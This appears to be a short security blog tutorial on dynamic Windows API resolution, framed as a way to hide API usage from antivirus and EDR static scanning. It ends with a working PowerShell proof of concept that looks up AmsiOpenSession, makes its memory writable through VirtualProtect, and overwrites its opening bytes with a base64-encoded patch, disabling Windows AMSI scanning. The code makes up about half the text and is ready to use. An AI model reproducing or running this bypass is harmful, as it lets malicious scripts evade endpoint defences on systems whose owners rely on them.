What is Dynamic API Resolution?
Dynamic API Resolution is a technique where Windows API function addresses are resolved at runtime, instead of being imported and declared upfront when the program is compiled or loaded.
In simpler terms — rather than saying:
“Hey system, I’ll need
VirtualProtect
andWriteProcessMemory
, here’s the list in advance.”
You say:
“I’ll decide what I need while I’m running, and quietly grab those functions when the time comes.”
This is done using functions like:
GetModuleHandle
→ to get the handle of a DLL (likekernel32.dll
oramsi.dll
)GetProcAddress
→ to get the memory address of a specific function (likeAmsiOpenSession
,VirtualProtect
)
Why is Dynamic API Resolution Better than Static Imports?
Static API Import | Dynamic API Resolution |
---|---|
APIs are declared upfront via P/Invoke or linking | APIs are looked up in-memory at runtime |
Imports are visible in the PE header / IAT | No API names visible in the executable |
Easy for AV/EDR to statically scan and detect | Harder to detect with static analysis |
Detected via known bad API patterns | No upfront signature to trigger on |
Example: DllImport("kernel32.dll") | GetModuleHandle("kernel32.dll") → GetProcAddress("VirtualProtect") |
In short:
Static imports advertise your intentions to the AV/EDR before your code runs.
Dynamic API resolution stays hidden and only reveals what’s needed, when it’s needed — reducing static detection risk.
Proof of Concept
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw=="))
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)